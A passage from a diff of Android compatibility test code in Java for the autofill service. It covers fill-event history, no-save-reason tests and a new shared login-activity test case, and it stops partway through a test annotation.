+        assertDeprecatedClientState(selection, "clientStateKey", "clientStateValue");
+        List<Event> events = selection.getEvents();
+        assertFillEventForDatasetShown(events.get(0), "clientStateKey", "clientStateValue");
+        assertFillEventForAuthenticationSelected(events.get(1), NULL_DATASET_ID,
+                "clientStateKey", "clientStateValue");
+        assertFillEventForDatasetShown(events.get(2), "clientStateKey", "clientStateValue");
+        assertFillEventForDatasetSelected(events.get(3), "name",
+                "clientStateKey", "clientStateValue");
+    }
+
+    @Test
+    public void testDatasetSelected_twoResponses() throws Exception {
+        enableService();
+
+        // Set up first partition with an anonymous dataset
+        Bundle clientState1 = new Bundle();
+        clientState1.putCharSequence("clientStateKey", "Value1");
+
+        sReplier.addResponse(new CannedFillResponse.Builder().addDataset(
+                new CannedDataset.Builder()
+                        .setField(ID_USERNAME, "username")
+                        .setPresentation("dataset1", isInlineMode())
+                        .build())
+                .setExtras(clientState1)
+                .build());
+        mActivity.expectAutoFill("username");
+
+        // Trigger autofill and IME.
+        mUiBot.focusByRelativeId(ID_USERNAME);
+        waitUntilConnected();
+        sReplier.getNextFillRequest();
+        mUiBot.selectDataset("dataset1");
+        mUiBot.waitForIdle();
+        mActivity.assertAutoFilled();
+
+        {
+            // Verify fill selection
+            final FillEventHistory selection = InstrumentedAutoFillService.getFillEventHistory(2);
+            assertDeprecatedClientState(selection, "clientStateKey", "Value1");
+            final List<Event> events = selection.getEvents();
+            assertFillEventForDatasetShown(events.get(0), "clientStateKey", "Value1");
+            assertFillEventForDatasetSelected(events.get(1), NULL_DATASET_ID,
+                    "clientStateKey", "Value1");
+        }
+
+        // Set up second partition with a named dataset
+        Bundle clientState2 = new Bundle();
+        clientState2.putCharSequence("clientStateKey", "Value2");
+
+        sReplier.addResponse(new CannedFillResponse.Builder()
+                .addDataset(
+                        new CannedDataset.Builder()
+                                .setField(ID_PASSWORD, "password2")
+                                .setPresentation("dataset2", isInlineMode())
+                                .setId("name2")
+                                .build())
+                .addDataset(
+                        new CannedDataset.Builder()
+                                .setField(ID_PASSWORD, "password3")
+                                .setPresentation("dataset3", isInlineMode())
+                                .setId("name3")
+                                .build())
+                .setExtras(clientState2)
+                .setRequiredSavableIds(SAVE_DATA_TYPE_GENERIC, ID_PASSWORD).build());
+        mActivity.expectPasswordAutoFill("password3");
+
+        // Trigger autofill on password
+        mActivity.onPassword(View::requestFocus);
+        sReplier.getNextFillRequest();
+        mUiBot.selectDataset("dataset3");
+        mUiBot.waitForIdle();
+        mActivity.assertAutoFilled();
+
+        {
+            // Verify fill selection
+            final FillEventHistory selection = InstrumentedAutoFillService.getFillEventHistory(2);
+            assertDeprecatedClientState(selection, "clientStateKey", "Value2");
+            final List<Event> events = selection.getEvents();
+            assertFillEventForDatasetShown(events.get(0), "clientStateKey", "Value2");
+            assertFillEventForDatasetSelected(events.get(1), "name3",
+                    "clientStateKey", "Value2");
+        }
+
+        mActivity.onPassword((v) -> v.setText("new password"));
+        mActivity.syncRunOnUiThread(() -> mActivity.finish());
+        waitUntilDisconnected();
+
+        {
+            // Verify fill selection
+            final FillEventHistory selection = InstrumentedAutoFillService.getFillEventHistory(4);
+            assertDeprecatedClientState(selection, "clientStateKey", "Value2");
+
+            final List<Event> events = selection.getEvents();
+            assertFillEventForDatasetShown(events.get(0), "clientStateKey", "Value2");
+            assertFillEventForDatasetSelected(events.get(1), "name3",
+                    "clientStateKey", "Value2");
+            assertFillEventForDatasetShown(events.get(2), "clientStateKey", "Value2");
+            assertFillEventForSaveShown(events.get(3), NULL_DATASET_ID,
+                    "clientStateKey", "Value2");
+        }
+    }
+
+    @Test
+    public void testNoEvents_whenServiceReturnsNullResponse() throws Exception {
+        enableService();
+
+        // First reset
+        sReplier.addResponse(new CannedFillResponse.Builder().addDataset(
+                new CannedDataset.Builder()
+                        .setField(ID_USERNAME, "username")
+                        .setPresentation("dataset1", isInlineMode())
+                        .build())
+                .build());
+        mActivity.expectAutoFill("username");
+
+        // Trigger autofill and IME.
+        mUiBot.focusByRelativeId(ID_USERNAME);
+        waitUntilConnected();
+        sReplier.getNextFillRequest();
+        mUiBot.selectDataset("dataset1");
+        mUiBot.waitForIdleSync();
+        mActivity.assertAutoFilled();
+
+        {
+            // Verify fill selection
+            final FillEventHistory selection = InstrumentedAutoFillService.getFillEventHistory(2);
+            assertNoDeprecatedClientState(selection);
+            final List<Event> events = selection.getEvents();
+            assertFillEventForDatasetShown(events.get(0));
+            assertFillEventForDatasetSelected(events.get(1), NULL_DATASET_ID);
+        }
+
+        // Second request
+        sReplier.addResponse(NO_RESPONSE);
+        mActivity.onPassword(View::requestFocus);
+        mUiBot.waitForIdleSync();
+        sReplier.getNextFillRequest();
+        mUiBot.assertNoDatasets();
+        waitUntilDisconnected();
+
+        InstrumentedAutoFillService.assertNoFillEventHistory();
+    }
+
+    @Test
+    public void testNoEvents_whenServiceReturnsFailure() throws Exception {
+        enableService();
+
+        // First reset
+        sReplier.addResponse(new CannedFillResponse.Builder().addDataset(
+                new CannedDataset.Builder()
+                        .setField(ID_USERNAME, "username")
+                        .setPresentation("dataset1", isInlineMode())
+                        .build())
+                .build());
+        mActivity.expectAutoFill("username");
+
+        // Trigger autofill and IME.
+        mUiBot.focusByRelativeId(ID_USERNAME);
+        mUiBot.waitForIdle();
+        waitUntilConnected();
+        sReplier.getNextFillRequest();
+        mUiBot.selectDataset("dataset1");
+        mUiBot.waitForIdleSync();
+        mActivity.assertAutoFilled();
+
+        {
+            // Verify fill selection
+            final FillEventHistory selection = InstrumentedAutoFillService.getFillEventHistory(2);
+            assertNoDeprecatedClientState(selection);
+            final List<Event> events = selection.getEvents();
+            assertFillEventForDatasetShown(events.get(0));
+            assertFillEventForDatasetSelected(events.get(1), NULL_DATASET_ID);
+        }
+
+        // Second request
+        sReplier.addResponse(new CannedFillResponse.Builder().returnFailure("D'OH!").build());
+        mActivity.onPassword(View::requestFocus);
+        mUiBot.waitForIdleSync();
+        sReplier.getNextFillRequest();
+        mUiBot.assertNoDatasets();
+        waitUntilDisconnected();
+
+        InstrumentedAutoFillService.assertNoFillEventHistory();
+    }
+
+    @Test
+    public void testNoEvents_whenServiceTimesout() throws Exception {
+        enableService();
+
+        // First reset
+        sReplier.addResponse(new CannedFillResponse.Builder().addDataset(
+                new CannedDataset.Builder()
+                        .setField(ID_USERNAME, "username")
+                        .setPresentation("dataset1", isInlineMode())
+                        .build())
+                .build());
+        mActivity.expectAutoFill("username");
+
+        // Trigger autofill and IME.
+        mUiBot.focusByRelativeId(ID_USERNAME);
+        waitUntilConnected();
+        sReplier.getNextFillRequest();
+        mUiBot.selectDataset("dataset1");
+        mActivity.assertAutoFilled();
+
+        {
+            // Verify fill selection
+            final FillEventHistory selection = InstrumentedAutoFillService.getFillEventHistory(2);
+            assertNoDeprecatedClientState(selection);
+            final List<Event> events = selection.getEvents();
+            assertFillEventForDatasetShown(events.get(0));
+            assertFillEventForDatasetSelected(events.get(1), NULL_DATASET_ID);
+        }
+
+        // Second request
+        sReplier.addResponse(DO_NOT_REPLY_RESPONSE);
+        mActivity.onPassword(View::requestFocus);
+        sReplier.getNextFillRequest();
+        waitUntilDisconnected();
+
+        InstrumentedAutoFillService.assertNoFillEventHistory();
+    }
+
+    /**
+     * Tests the following scenario:
+     *
+     * <ol>
+     *    <li>Activity A is launched.
+     *    <li>Activity A triggers autofill.
+     *    <li>Activity B is launched.
+     *    <li>Activity B triggers autofill.
+     *    <li>User goes back to Activity A.
+     *    <li>Activity A triggers autofill.
+     *    <li>User triggers save on Activity A - at this point, service should have stats of
+     *        activity A.
+     * </ol>
+     */
+    @Test
+    public void testEventsFromPreviousSessionIsDiscarded() throws Exception {
+        enableService();
+
+        // Launch activity A
+        sReplier.addResponse(new CannedFillResponse.Builder()
+                .setExtras(getBundle("activity", "A"))
+                .setRequiredSavableIds(SAVE_DATA_TYPE_PASSWORD, ID_USERNAME, ID_PASSWORD)
+                .build());
+
+        // Trigger autofill and IME on activity A.
+        mUiBot.focusByRelativeId(ID_USERNAME);
+        waitUntilConnected();
+        sReplier.getNextFillRequest();
+
+        // Verify fill selection for Activity A
+        final FillEventHistory selectionA = InstrumentedAutoFillService.getFillEventHistory(0);
+        assertDeprecatedClientState(selectionA, "activity", "A");
+
+        // Launch activity B
+        mActivity.startActivity(new Intent(mActivity, CheckoutActivity.class));
+        mUiBot.assertShownByRelativeId(ID_CC_NUMBER);
+
+        // Trigger autofill on activity B
+        sReplier.addResponse(new CannedFillResponse.Builder()
+                .setExtras(getBundle("activity", "B"))
+                .addDataset(new CannedDataset.Builder()
+                        .setField(ID_CC_NUMBER, "4815162342")
+                        .setPresentation("datasetB", isInlineMode())
+                        .build())
+                .build());
+        mUiBot.focusByRelativeId(ID_CC_NUMBER);
+        sReplier.getNextFillRequest();
+
+        // Verify fill selection for Activity B
+        final FillEventHistory selectionB = InstrumentedAutoFillService.getFillEventHistory(1);
+        assertDeprecatedClientState(selectionB, "activity", "B");
+        assertFillEventForDatasetShown(selectionB.getEvents().get(0), "activity", "B");
+
+        // Set response for back to activity A
+        sReplier.addResponse(new CannedFillResponse.Builder()
+                .setExtras(getBundle("activity", "A"))
+                .setRequiredSavableIds(SAVE_DATA_TYPE_PASSWORD, ID_USERNAME, ID_PASSWORD)
+                .build());
+
+        // Now switch back to A...
+        mUiBot.pressBack(); // dismiss autofill
+        mUiBot.pressBack(); // dismiss keyboard (or task, if there was no keyboard)
+        final AtomicBoolean focusOnA = new AtomicBoolean();
+        mActivity.syncRunOnUiThread(() -> focusOnA.set(mActivity.hasWindowFocus()));
+        if (!focusOnA.get()) {
+            mUiBot.pressBack(); // dismiss task, if the last pressBack dismissed only the keyboard
+        }
+        mUiBot.assertShownByRelativeId(ID_USERNAME);
+        assertWithMessage("root window has no focus")
+                .that(mActivity.getWindow().getDecorView().hasWindowFocus()).isTrue();
+
+        sReplier.getNextFillRequest();
+
+        // ...and trigger save
+        // Set credentials...
+        mActivity.onUsername((v) -> v.setText("malkovich"));
+        mActivity.onPassword((v) -> v.setText("malkovich"));
+        final String expectedMessage = getWelcomeMessage("malkovich");
+        final String actualMessage = mActivity.tapLogin();
+        assertWithMessage("Wrong welcome msg").that(actualMessage).isEqualTo(expectedMessage);
+        mUiBot.saveForAutofill(true, SAVE_DATA_TYPE_PASSWORD);
+        sReplier.getNextSaveRequest();
+
+        // Finally, make sure history is right
+        final FillEventHistory finalSelection = InstrumentedAutoFillService.getFillEventHistory(1);
+        assertDeprecatedClientState(finalSelection, "activity", "A");
+        assertFillEventForSaveShown(finalSelection.getEvents().get(0), NULL_DATASET_ID, "activity",
+                "A");
+    }
+
+    @Test
+    public void testContextCommitted_withoutFlagOnLastResponse() throws Exception {
+        enableService();
+        // Trigger 1st autofill request
+        sReplier.addResponse(new CannedFillResponse.Builder().addDataset(
+                new CannedDataset.Builder()
+                        .setId("id1")
+                        .setField(ID_USERNAME, BACKDOOR_USERNAME)
+                        .setPresentation("dataset1", isInlineMode())
+                        .build())
+                .setFillResponseFlags(FillResponse.FLAG_TRACK_CONTEXT_COMMITED)
+                .build());
+        mActivity.expectAutoFill(BACKDOOR_USERNAME);
+        // Trigger autofill and IME on username.
+        mUiBot.focusByRelativeId(ID_USERNAME);
+        sReplier.getNextFillRequest();
+        mUiBot.selectDataset("dataset1");
+        mActivity.assertAutoFilled();
+        // Verify fill history
+        {
+            final List<Event> events = InstrumentedAutoFillService.getFillEvents(2);
+            assertFillEventForDatasetShown(events.get(0));
+            assertFillEventForDatasetSelected(events.get(1), "id1");
+        }
+
+        // Trigger 2nd autofill request (which will clear the fill event history)
+        sReplier.addResponse(new CannedFillResponse.Builder().addDataset(
+                new CannedDataset.Builder()
+                        .setId("id2")
+                        .setField(ID_PASSWORD, "whatever")
+                        .setPresentation("dataset2", isInlineMode())
+                        .build())
+                // don't set flags
+                .build());
+        mActivity.expectPasswordAutoFill("whatever");
+        mActivity.onPassword(View::requestFocus);
+        sReplier.getNextFillRequest();
+        mUiBot.selectDataset("dataset2");
+        mActivity.assertAutoFilled();
+        // Verify fill history
+        {
+            final List<Event> events = InstrumentedAutoFillService.getFillEvents(2);
+            assertFillEventForDatasetShown(events.get(0));
+            assertFillEventForDatasetSelected(events.get(1), "id2");
+        }
+
+        // Finish the context by login in
+        final String expectedMessage = getWelcomeMessage(BACKDOOR_USERNAME);
+        final String actualMessage = mActivity.tapLogin();
+        assertWithMessage("Wrong welcome msg").that(actualMessage).isEqualTo(expectedMessage);
+        mUiBot.assertSaveNotShowing(SAVE_DATA_TYPE_PASSWORD);
+
+        {
+            // Verify fill history
+            final List<Event> events = InstrumentedAutoFillService.getFillEvents(2);
+            assertFillEventForDatasetShown(events.get(0));
+            assertFillEventForDatasetSelected(events.get(1), "id2");
+        }
+    }
+
+    /**
+     * Tests scenario where the context was committed, the save dialog was not shown because the
+     * SaveInfo associated with the FillResponse is null.
+     */
+    @Test
+    public void testContextCommitted_noSaveUi_whileNoSaveInfo() throws Exception {
+        enableService();
+
+        // Set expectations.
+        final CannedFillResponse.Builder builder = createTestResponseBuilder();
+        sReplier.addResponse(builder.build());
+
+        // Trigger autofill and set the save UI not show reason with
+        // NO_SAVE_REASON_NO_SAVE_INFO.
+        triggerAutofillForSaveUiCondition(NO_SAVE_REASON_NO_SAVE_INFO);
+
+        // Finish the context by login in and it will trigger to check if the save UI should be
+        // shown.
+        tapLogin();
+
+        // Verify that the save UI should not be shown and the history should include the reason.
+        mUiBot.assertSaveNotShowing(SAVE_DATA_TYPE_PASSWORD);
+
+        final List<Event> verifyEvents = InstrumentedAutoFillService.getFillEvents(2);
+        final Event event = verifyEvents.get(1);
+
+        assertThat(event.getNoSaveReason()).isEqualTo(NO_SAVE_REASON_NO_SAVE_INFO);
+    }
+
+    /**
+     * Tests scenario where the context was committed, the save dialog was not shown because the
+     * service asked to delay save.
+     */
+    @Test
+    public void testContextCommitted_noSaveUi_whileDelaySave() throws Exception {
+        enableService();
+
+        // Set expectations.
+        final CannedFillResponse.Builder builder = createTestResponseBuilder();
+        builder.setSaveInfoFlags(SaveInfo.FLAG_DELAY_SAVE);
+        sReplier.addResponse(builder.build());
+
+        // Trigger autofill and set the save UI not show reason with
+        // NO_SAVE_REASON_WITH_DELAY_SAVE_FLAG.
+        triggerAutofillForSaveUiCondition(NO_SAVE_REASON_WITH_DELAY_SAVE_FLAG);
+
+        // Finish the context by login in and it will trigger to check if the save UI should be
+        // shown.
+        tapLogin();
+
+        // Verify that the save UI should not be shown and the history should include the reason.
+        mUiBot.assertSaveNotShowing(SAVE_DATA_TYPE_PASSWORD);
+
+        final List<Event> verifyEvents = InstrumentedAutoFillService.getFillEvents(2);
+        final Event event = verifyEvents.get(1);
+
+        assertThat(event.getNoSaveReason()).isEqualTo(NO_SAVE_REASON_WITH_DELAY_SAVE_FLAG);
+    }
+
+    /**
+     * Tests scenario where the context was committed, the save dialog was not shown because there
+     * was empty value for required ids.
+     */
+    @Test
+    public void testContextCommitted_noSaveUi_whileEmptyValueForRequiredIds() throws Exception {
+        enableService();
+
+        // Set expectations.
+        final CannedFillResponse.Builder builder = createTestResponseBuilder();
+        builder.setRequiredSavableIds(SAVE_DATA_TYPE_PASSWORD, ID_USERNAME, ID_PASSWORD);
+        sReplier.addResponse(builder.build());
+
+        // Trigger autofill and set the save UI not show reason with
+        // NO_SAVE_REASON_HAS_EMPTY_REQUIRED.
+        triggerAutofillForSaveUiCondition(NO_SAVE_REASON_HAS_EMPTY_REQUIRED);
+
+        // Finish the context by login in and it will trigger to check if the save UI should be
+        // shown.
+        tapLogin();
+
+        // Verify that the save UI should not be shown and the history should include the reason.
+        mUiBot.assertSaveNotShowing(SAVE_DATA_TYPE_PASSWORD);
+
+        final List<Event> verifyEvents = InstrumentedAutoFillService.getFillEvents(2);
+        final Event event = verifyEvents.get(1);
+
+        assertThat(event.getNoSaveReason()).isEqualTo(NO_SAVE_REASON_HAS_EMPTY_REQUIRED);
+    }
+
+    /**
+     * Tests scenario where the context was committed, the save dialog was not shown because no
+     * value has been changed.
+     */
+    @Test
+    public void testContextCommitted_noSaveUi_whileNoValueChanged() throws Exception {
+        enableService();
+
+        // Set expectations.
+        final CannedFillResponse.Builder builder = createTestResponseBuilder();
+        builder.setRequiredSavableIds(SAVE_DATA_TYPE_PASSWORD, ID_USERNAME, ID_PASSWORD);
+        sReplier.addResponse(builder.build());
+
+        // Trigger autofill and set the save UI not show reason with
+        // NO_SAVE_REASON_HAS_EMPTY_REQUIRED.
+        triggerAutofillForSaveUiCondition(NO_SAVE_REASON_NO_VALUE_CHANGED);
+
+        // Finish the context by login in and it will trigger to check if the save UI should be
+        // shown.
+        tapLogin();
+
+        // Verify that the save UI should not be shown and the history should include the reason.
+        mUiBot.assertSaveNotShowing(SAVE_DATA_TYPE_PASSWORD);
+
+        final List<Event> verifyEvents = InstrumentedAutoFillService.getFillEvents(3);
+        final Event event = verifyEvents.get(2);
+
+        assertThat(event.getNoSaveReason()).isEqualTo(NO_SAVE_REASON_NO_VALUE_CHANGED);
+    }
+
+    /**
+     * Tests scenario where the context was committed, the save dialog was not shown because fields
+     * failed validation.
+     */
+    @Test
+    public void testContextCommitted_noSaveUi_whileFieldsFailedValidation() throws Exception {
+        enableService();
+
+        // Set expectations.
+        final CannedFillResponse.Builder builder = createTestResponseBuilder();
+        builder.setRequiredSavableIds(SAVE_DATA_TYPE_PASSWORD, ID_USERNAME, ID_PASSWORD)
+                .setSaveInfoVisitor((contexts, saveInfoBuilder) -> {
+                    final Validator validator =
+                            new RegexValidator(new AutofillId(1), Pattern.compile(".*"));
+                    saveInfoBuilder.setValidator(validator);
+                });
+        sReplier.addResponse(builder.build());
+
+        // Trigger autofill and set the save UI not show reason with
+        // NO_SAVE_REASON_FIELD_VALIDATION_FAILED.
+        triggerAutofillForSaveUiCondition(NO_SAVE_REASON_FIELD_VALIDATION_FAILED);
+
+        // Finish the context by login in and it will trigger to check if the save UI should be
+        // shown.
+        tapLogin();
+
+        // Verify that the save UI should not be shown and the history should include the reason.
+        mUiBot.assertSaveNotShowing(SAVE_DATA_TYPE_PASSWORD);
+
+        final List<Event> verifyEvents = InstrumentedAutoFillService.getFillEvents(2);
+        final Event event = verifyEvents.get(1);
+
+        assertThat(event.getNoSaveReason()).isEqualTo(NO_SAVE_REASON_FIELD_VALIDATION_FAILED);
+    }
+
+    /**
+     * Tests scenario where the context was committed, the save dialog was not shown because all
+     * fields matched contents of datasets.
+     */
+    @Test
+    public void testContextCommitted_noSaveUi_whileFieldsMatchedDatasets() throws Exception {
+        enableService();
+
+        // Set expectations.
+        final CannedFillResponse.Builder builder = createTestResponseBuilder();
+        builder.setRequiredSavableIds(SAVE_DATA_TYPE_PASSWORD, ID_USERNAME, ID_PASSWORD);
+        sReplier.addResponse(builder.build());
+
+        // Trigger autofill and set the save UI not show reason with
+        // NO_SAVE_REASON_DATASET_MATCH.
+        triggerAutofillForSaveUiCondition(NO_SAVE_REASON_DATASET_MATCH);
+
+        // Finish the context by login in and it will trigger to check if the save UI should be
+        // shown.
+        tapLogin();
+
+        // Verify that the save UI should not be shown and the history should include the reason.
+        mUiBot.assertSaveNotShowing(SAVE_DATA_TYPE_PASSWORD);
+
+        final List<Event> verifyEvents = InstrumentedAutoFillService.getFillEvents(2);
+        final Event event = verifyEvents.get(1);
+
+        assertThat(event.getNoSaveReason()).isEqualTo(NO_SAVE_REASON_DATASET_MATCH);
+    }
+
+    private CannedFillResponse.Builder createTestResponseBuilder() {
+        return new CannedFillResponse.Builder()
+                .addDataset(new CannedDataset.Builder()
+                        .setId("id1")
+                        .setField(ID_USERNAME, BACKDOOR_USERNAME)
+                        .setField(ID_PASSWORD, "whatever")
+                        .setPresentation("dataset1", isInlineMode())
+                        .build())
+                .setFillResponseFlags(FillResponse.FLAG_TRACK_CONTEXT_COMMITED);
+    }
+
+    /**
+     * Triggers autofill on username first and set the behavior of the different conditions so that
+     * the save UI should not be shown.
+     */
+    private void triggerAutofillForSaveUiCondition(int reason) throws Exception {
+        // Trigger autofill on username and check the suggestion is shown.
+        mUiBot.focusByRelativeId(ID_USERNAME);
+        mUiBot.waitForIdle();
+        sReplier.getNextFillRequest();
+
+        mUiBot.assertDatasets("dataset1");
+
+        if (reason == NO_SAVE_REASON_HAS_EMPTY_REQUIRED) {
+            // Set empty value on password to meet that there was empty value for required ids.
+            mActivity.onUsername((v) -> v.setText(BACKDOOR_USERNAME));
+            mActivity.onPassword((v) -> v.setText(""));
+        } else if (reason == NO_SAVE_REASON_NO_VALUE_CHANGED) {
+            // Select the suggestion to fill the data into username and password, then it will be
+            // able to get the data from ViewState.getCurrentValue() and
+            // ViewState.getAutofilledValue().
+            mActivity.expectAutoFill(BACKDOOR_USERNAME, "whatever");
+            mUiBot.selectDataset("dataset1");
+            mActivity.assertAutoFilled();
+        } else if (reason == NO_SAVE_REASON_NO_SAVE_INFO
+                || reason == NO_SAVE_REASON_WITH_DELAY_SAVE_FLAG
+                || reason == NO_SAVE_REASON_FIELD_VALIDATION_FAILED
+                || reason == NO_SAVE_REASON_DATASET_MATCH) {
+            // Use the setText to fill the data into username and password, then it will only be
+            // able to get the data from ViewState.getCurrentValue(), but get empty value from
+            // ViewState.getAutofilledValue().
+            mActivity.onUsername((v) -> v.setText(BACKDOOR_USERNAME));
+            mActivity.onPassword((v) -> v.setText("whatever"));
+        } else {
+            throw new AssertionError("Can not identify the reason");
+        }
+    }
+
+    private void tapLogin() throws Exception {
+        final String expectedMessage = getWelcomeMessage(BACKDOOR_USERNAME);
+        final String actualMessage = mActivity.tapLogin();
+        assertWithMessage("Wrong welcome msg").that(actualMessage).isEqualTo(expectedMessage);
+    }
+}
diff --git a/tests/autofillservice/src/android/autofillservice/cts/commontests/LoginActivityCommonTestCase.java b/tests/autofillservice/src/android/autofillservice/cts/commontests/LoginActivityCommonTestCase.java
new file mode 100644
index 0000000..e592686
--- /dev/null
+++ b/tests/autofillservice/src/android/autofillservice/cts/commontests/LoginActivityCommonTestCase.java
@@ -0,0 +1,318 @@
+/*
+ * Copyright (C) 2020 The Android Open Source Project
+ *
+ * Licensed under the Apache License, Version 2.0 (the "License");
+ * you may not use this file except in compliance with the License.
+ * You may obtain a copy of the License at
+ *
+ *      http://www.apache.org/licenses/LICENSE-2.0
+ *
+ * Unless required by applicable law or agreed to in writing, software
+ * distributed under the License is distributed on an "AS IS" BASIS,
+ * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+ * See the License for the specific language governing permissions and
+ * limitations under the License.
+ */
+
+package android.autofillservice.cts.commontests;
+
+import static android.autofillservice.cts.testcore.CannedFillResponse.NO_MOAR_RESPONSES;
+import static android.autofillservice.cts.testcore.CannedFillResponse.NO_RESPONSE;
+import static android.autofillservice.cts.testcore.Helper.ID_PASSWORD;
+import static android.autofillservice.cts.testcore.Helper.ID_USERNAME;
+import static android.autofillservice.cts.testcore.Helper.assertTextIsSanitized;
+import static android.autofillservice.cts.testcore.Helper.findAutofillIdByResourceId;
+import static android.autofillservice.cts.testcore.Helper.findNodeByResourceId;
+import static android.autofillservice.cts.testcore.InstrumentedAutoFillService.waitUntilConnected;
+import static android.autofillservice.cts.testcore.InstrumentedAutoFillService.waitUntilDisconnected;
+
+import static com.google.common.truth.Truth.assertThat;
+import static com.google.common.truth.Truth.assertWithMessage;
+
+import android.autofillservice.cts.inline.InlineLoginActivityTest;
+import android.autofillservice.cts.testcore.CannedFillResponse;
+import android.autofillservice.cts.testcore.InstrumentedAutoFillService;
+import android.autofillservice.cts.testcore.MyAutofillCallback;
+import android.autofillservice.cts.testcore.UiBot;
+import android.platform.test.annotations.Presubmit;
+import android.service.autofill.FillContext;
+import android.view.View;
+
+import org.junit.Test;
+
+/**
+ * This is the common test cases with {@link LoginActivityTest} and {@link InlineLoginActivityTest}.
+ */
+public abstract class LoginActivityCommonTestCase extends AbstractLoginActivityTestCase {
+
+    protected LoginActivityCommonTestCase() {}
+
+    protected LoginActivityCommonTestCase(UiBot inlineUiBot) {
+        super(inlineUiBot);
+    }
+
+    @Test
+    public void testAutoFillNoDatasets() throws Exception {
+        // Set service.
+        enableService();
+
+        // Set expectations.
+        sReplier.addResponse(NO_RESPONSE);
+
+        // Trigger autofill.
+        mUiBot.selectByRelativeId(ID_USERNAME);
+
+        // Make sure a fill request is called but don't check for connected() - as we're returning
+        // a null response, the service might have been disconnected already by the time we assert
+        // it.
+        sReplier.getNextFillRequest();
+
+        // Make sure UI is not shown.
+        mUiBot.assertNoDatasetsEver();
+
+        // Test connection lifecycle.
+        waitUntilDisconnected();
+    }
+
+    @Presubmit
+    @Test
+    public void testAutoFillNoDatasets_multipleFields_alwaysNull() throws Exception {
+        // Set service.
+        enableService();
+
+        // Set expectations.
+        sReplier.addResponse(NO_RESPONSE)
+                .addResponse(NO_MOAR_RESPONSES);
+
+        // Trigger autofill
+        mUiBot.selectByRelativeId(ID_USERNAME);
+        sReplier.getNextFillRequest();
+        mUiBot.assertNoDatasetsEver();
+
+        // Tap back and forth to make sure no more requests are shown
+
+        mActivity.onPassword(View::requestFocus);
+        mUiBot.assertNoDatasetsEver();
+
+        mActivity.onUsername(View::requestFocus);
+        mUiBot.assertNoDatasetsEver();
+
+        mActivity.onPassword(View::requestFocus);
+        mUiBot.assertNoDatasetsEver();
+    }
+
+    @Presubmit
+    @Test
+    public void testAutofill_oneDataset() throws Exception {
+        testBasicLoginAutofill(/* numDatasets= */ 1, /* selectedDatasetIndex= */ 0);
+    }
+
+    @Presubmit
+    @Test
+    public void testAutofill_twoDatasets_selectFirstDataset() throws Exception {
+        testBasicLoginAutofill(/* numDatasets= */ 2, /* selectedDatasetIndex= */ 0);
+
+    }
+
+    @Presubmit
+    @Test
+    public void testAutofill_twoDatasets_selectSecondDataset() throws Exception {
+        testBasicLoginAutofill(/* numDatasets= */ 2, /* selectedDatasetIndex= */ 1);
+    }
+
+    private void testBasicLoginAutofill(int numDatasets, int selectedDatasetIndex)
+            throws Exception {
+        // Set service.
+        enableService();
+
+        final MyAutofillCallback callback = mActivity.registerCallback();
+        final View username = mActivity.getUsername();
+        final View password = mActivity.getPassword();
+
+        String[] expectedDatasets = new String[numDatasets];
+        final CannedFillResponse.Builder builder = new CannedFillResponse.Builder();
+        for (int i = 0; i < numDatasets; i++) {
+            builder.addDataset(new CannedFillResponse.CannedDataset.Builder()
+                    .setField(ID_USERNAME, "dude" + i)
+                    .setField(ID_PASSWORD, "sweet" + i)
+                    .setPresentation("The Dude" + i, isInlineMode())
+                    .build());
+            expectedDatasets[i] = "The Dude" + i;
+        }
+
+        sReplier.addResponse(builder.build());
+        mActivity.expectAutoFill("dude" + selectedDatasetIndex, "sweet" + selectedDatasetIndex);
+
+        // Trigger auto-fill.
+        mUiBot.selectByRelativeId(ID_USERNAME);
+        mUiBot.waitForIdle();
+
+        mUiBot.assertDatasets(expectedDatasets);
+        callback.assertUiShownEvent(username);
+
+        mUiBot.selectDataset(expectedDatasets[selectedDatasetIndex]);
+
+        // Check the results.
+        mActivity.assertAutoFilled();
+        callback.assertUiHiddenEvent(username);
+
+        // Make sure input was sanitized.
+        final InstrumentedAutoFillService.FillRequest request = sReplier.getNextFillRequest();
+        assertWithMessage("CancelationSignal is null").that(request.cancellationSignal).isNotNull();
+        assertTextIsSanitized(request.structure, ID_PASSWORD);
+        final FillContext fillContext = request.contexts.get(request.contexts.size() - 1);
+        assertThat(fillContext.getFocusedId())
+                .isEqualTo(findAutofillIdByResourceId(fillContext, ID_USERNAME));
+        if (isInlineMode()) {
+            assertThat(request.inlineRequest).isNotNull();
+        } else {
+            assertThat(request.inlineRequest).isNull();
+        }
+
+        // Make sure initial focus was properly set.
+        assertWithMessage("Username node is not focused").that(
+                findNodeByResourceId(request.structure, ID_USERNAME).isFocused()).isTrue();
+        assertWithMessage("Password node is focused").that(
+                findNodeByResourceId(request.structure, ID_PASSWORD).isFocused()).isFalse();
+    }
+
+    @Presubmit
+    @Test
+    public void testClearFocusBeforeRespond() throws Exception {
+        // Set service
+        enableService();
+
+        // Trigger auto-fill
+        mUiBot.selectByRelativeId(ID_USERNAME);
+        waitUntilConnected();
+
+        // Clear focus before responded
+        mActivity.onUsername(View::clearFocus);
+        mUiBot.waitForIdleSync();
+
+        final CannedFillResponse.Builder builder = new CannedFillResponse.Builder()
+                .addDataset(new CannedFillResponse.CannedDataset.Builder()
+                        .setField(ID_USERNAME, "dude")
+                        .setPresentation("The Dude", isInlineMode())
+                        .build());
+        sReplier.addResponse(builder.build());
+        sReplier.getNextFillRequest();
+
+        // Confirm no datasets shown
+        mUiBot.assertNoDatasetsEver();
+    }
+
+    @Presubmit
+    @Test
+    public void testSwitchFocusBeforeResponse() throws Exception {
+        // Set service
+        enableService();
+
+        // Trigger auto-fill
+        mUiBot.selectByRelativeId(ID_USERNAME);
+        waitUntilConnected();
+
+        // Trigger second fill request
+        mUiBot.selectByRelativeId(ID_PASSWORD);
+        mUiBot.waitForIdleSync();
+
+        // Respond for username
+        sReplier.addResponse(new CannedFillResponse.Builder()
+                .addDataset(new CannedFillResponse.CannedDataset.Builder()
+                        .setField(ID_USERNAME, "dude")
+                        .setPresentation("The Dude", isInlineMode())
+                        .build())
+                .build());
+        sReplier.getNextFillRequest();
+
+        mUiBot.assertNoDatasetsEver();
+
+        // Set expectations and respond for password
+        sReplier.addResponse(new CannedFillResponse.Builder()
+                .addDataset(new CannedFillResponse.CannedDataset.Builder()
+                        .setField(ID_PASSWORD, "sweet")
+                        .setPresentation("The Password", isInlineMode())
+                        .build())
+                .build());
+        sReplier.getNextFillRequest();
+
+        // confirm second response shown
+        mUiBot.assertDatasets("The Password");
+    }
+
+    @Presubmit
+    @Test
